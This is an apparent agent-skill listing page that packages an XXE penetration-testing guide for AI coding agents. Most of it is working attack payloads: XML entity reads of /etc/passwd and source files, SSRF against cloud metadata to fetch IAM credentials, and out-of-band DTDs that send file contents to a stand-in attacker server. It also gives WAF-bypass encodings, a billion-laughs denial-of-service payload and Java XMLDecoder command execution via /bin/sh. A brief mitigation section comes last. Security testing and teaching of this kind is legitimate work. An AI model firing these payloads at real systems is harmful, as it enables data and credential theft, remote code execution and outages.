# Xxe Pentest

> XML External Entity (XXE) vulnerability testing and exploitation. Use this skill whenever the user mentions XXE, XML parsing, XML injection, file upload vulnerabilities with XML formats (SVG, DOCX, XLIFF, RSS), or needs to test for XML-based attacks including file read, SSRF, blind XXE, error-based XXE, or WAF bypasses. Also use when analyzing XML parsers in Java, Python lxml, PHP, or any application that processes XML input.

- Skill: `abelrguezr/xxe-pentest` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/xxe-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/xxe-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Docs & Writing
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/xxe-pentest

---


# XXE Pentest Skill

A comprehensive guide for testing and exploiting XML External Entity (XXE) vulnerabilities.

## Quick Start

1. **Identify XML input points** - Look for XML parsers, file uploads (SVG, DOCX, XLIFF, RSS), SOAP endpoints, or any XML processing
2. **Test basic XXE** - Start with simple entity injection
3. **Escalate** - Try file read, SSRF, blind techniques, or error-based exfiltration
4. **Bypass protections** - Use encoding, protocol tricks, or parameter entities

## Detection & Initial Testing

### Basic XXE Test

Test if entity declarations are processed:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
    <productId>&toreplace;</productId>
    <storeId>1</storeId>
</stockCheck>
```

If the response shows `3` instead of the original value, XXE is likely possible.

### Parameter Entity Detection

When standard entities are blocked, try parameter entities for out-of-band detection:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
  <!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR.net">
  %xxe; 
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```

Monitor for DNS/HTTP callbacks to confirm vulnerability.

## File Reading Attacks

### Direct File Read

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```

### File Protocol Variations

```xml
<!-- Standard file:// -->
<!ENTITY example SYSTEM "file:///etc/passwd">

<!-- Windows -->
<!ENTITY example SYSTEM "file:///C:/windows/system32/drivers/etc/hosts">

<!-- With ELEMENT declaration -->
<!DOCTYPE data [
  <!ELEMENT stockCheck ANY>
  <!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
    <productId>&file;</productId>
    <storeId>1</storeId>
</stockCheck>
```

### PHP Filter Wrapper

For PHP applications, use base64 encoding to extract files:

```xml
<!DOCTYPE replace [
  <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<data>&xxe;</data>
```

Extract source code:

```xml
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
```

### Directory Listing (Java)

```xml
<!-- Root directory -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE aa[
  <!ELEMENT bb ANY>
  <!ENTITY xxe SYSTEM "file:///"
]>
<root><foo>&xxe;</foo></root>

<!-- Specific directory -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
  <!ENTITY xxe SYSTEM "file:///etc/" 
]>
<root><foo>&xxe;</foo></root>
```

## SSRF & Out-of-Band Attacks

### Cloud Metadata SSRF

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> 
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

### Blind SSRF with Parameter Entities

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
  <!ENTITY % xxe SYSTEM "http://YOUR-COLLABORATOR.net">
  %xxe; 
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```

### Out-of-Band Data Exfiltration

Host a malicious DTD at `http://YOUR-SERVER.com/malicious.dtd`:

```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://YOUR-SERVER.com/?x=%file;'>">
%eval;
%exfiltrate;
```

Then send:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR-SERVER.com/malicious.dtd">
  %xxe;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```

## Error-Based XXE

### External DTD Error-Based

Host malicious DTD:

```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

Send payload:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://YOUR-SERVER.com/malicious.dtd">
  %xxe;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```

The error message will contain the file contents.

### System DTD Error-Based (No Outbound)

When external connections are blocked, use local DTDs:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
  <!ENTITY % ISOamso '
    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
    %eval;
    %error;
  '>
  %local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```

### Finding Local DTDs

Common DTD paths to try:
- `/usr/share/yelp/dtd/docbookx.dtd`
- `/usr/local/app/schema.dtd`
- `/tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd`

Use `dtd-finder` tool on Docker images to discover DTDs:

```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/docker-image.tar
```

## Format-Specific Attacks

### SVG File Upload

```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
  <image xlink:href="file:///etc/hostname"></image>
</svg>
```

Command execution via PHP expect:

```xml
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
  <image xlink:href="expect://ls"></image>
</svg>
```

### XLIFF Upload

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
  <!ENTITY % remote SYSTEM "http://YOUR-COLLABORATOR.net/?xxe_test"> 
  %remote; 
]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
```

### RSS Feed

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ 
  <!ELEMENT title ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>&xxe;</title>
    <link>http://example.com/</link>
    <description>A blog about things</description>
  </channel>
</rss>
```

### Office Documents (DOCX/XLSX)

1. Unzip the document
2. Edit `word/document.xml` or `xl/sharedStrings.xml`
3. Insert XXE payload between root elements
4. Rezip and upload

### XInclude

When you can't control DOCTYPE:

```xml
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
```

### SOAP

```xml
<soap:Body>
  <foo><![CDATA[
    <!DOCTYPE doc [
      <!ENTITY % dtd SYSTEM "http://YOUR-IP:22/">
      %dtd;
    ]>
    <xxx/>
  ]]></foo>
</soap:Body>
```

## WAF & Protection Bypasses

### Base64 Encoding

```xml
<!DOCTYPE test [ 
  <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> 
  %init; 
]>
<foo/>
```

### UTF-7 Encoding

```xml
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://YOUR-IP:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
```

### HTML Entity Encoding

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >
  %a;
  %dtd;
]>
<data><env>&exfil;</env></data>
```

### Jar Protocol (Java)

```xml
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "jar:http://YOUR-IP:8080/evil.zip!/evil.dtd">
]>
<foo>&xxe;</foo>
```

### Content-Type Switching

Change from JSON to XML:

```http
Content-Type: application/xml;charset=UTF-8

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [
  <!ENTITY xxe SYSTEM "http://YOUR-IP:8000/TEST.ext" >
]>
<root>
  <root>
    <firstName>&xxe;</firstName>
  </root>
</root>
```

## DoS Attacks

### Billion Laugh Attack

```xml
<!DOCTYPE data [
  <!ENTITY a0 "dos" >
  <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```

## Java XMLDecoder RCE

### Runtime.exec()

```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
  <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
      <array class="java.lang.String" length="6">
        <void index="0"><string>/bin/sh</string></void>
        <void index="1"><string>-c</string></void>
        <void index="2"><string>YOUR-COMMAND</string></void>
      </array>
    </void>
  </object>
</java>
```

### ProcessBuilder

```xml
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
  <void class="java.lang.ProcessBuilder">
    <array class="java.lang.String" length="3">
      <void index="0"><string>/bin/sh</string></void>
      <void index="1"><string>-c</string></void>
      <void index="2"><string>YOUR-COMMAND</string></void>
    </array>
    <void method="start" id="process"/>
  </void>
</java>
```

## Python lxml Exploitation

### Error-Based File Disclosure (lxml < 5.4.0)

```xml
<!DOCTYPE colors [
  <!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">
  <!ENTITY % config_hex '
    <!ENTITY % flag SYSTEM "file:///tmp/flag.txt">
    <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">
  %eval;'>
  %local_dtd;
]>
```

### Bypassing lxml 5.4.0 Hardening

```xml
<!DOCTYPE colors [
  <!ENTITY % a '
    <!ENTITY % file SYSTEM "file:///tmp/flag.txt">
    <!ENTITY % b "<!ENTITY c SYSTEM 'meow://%file;'>">
  '>
  %a; %b;
]>
<colors>&c;</colors>
```

## Mitigation Guidance

### Java DocumentBuilderFactory

```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
```

### Python lxml

```python
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, load_dtd=False)
```

### General Recommendations

1. Disable DOCTYPE declarations entirely
2. Disable external entity resolution
3. Use secure processing mode
4. Avoid returning raw parser errors to users
5. Validate and sanitize all XML input
6. Upgrade libraries (lxml ≥ 5.4.0, libxml2 ≥ 2.13.8)

## Tools

- **xxexploiter**: https://github.com/luisfontes19/xxexploiter
- **dtd-finder**: https://github.com/GoSecure/dtd-finder
- **xxe-ftp-server.rb**: https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb
- **Burp Collaborator**: For out-of-band detection
- **Responder.py**: For NTLM hash capture on Windows

## References

- PortSwigger XXE Guide: https://portswigger.net/web-security/xxe
- PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
- XXE Workshop: https://gosecure.github.io/xxe-workshop/
- CVE-2025-27136 LocalS3 XXE: https://www.offsec.com/blog/cve-2025-27136/

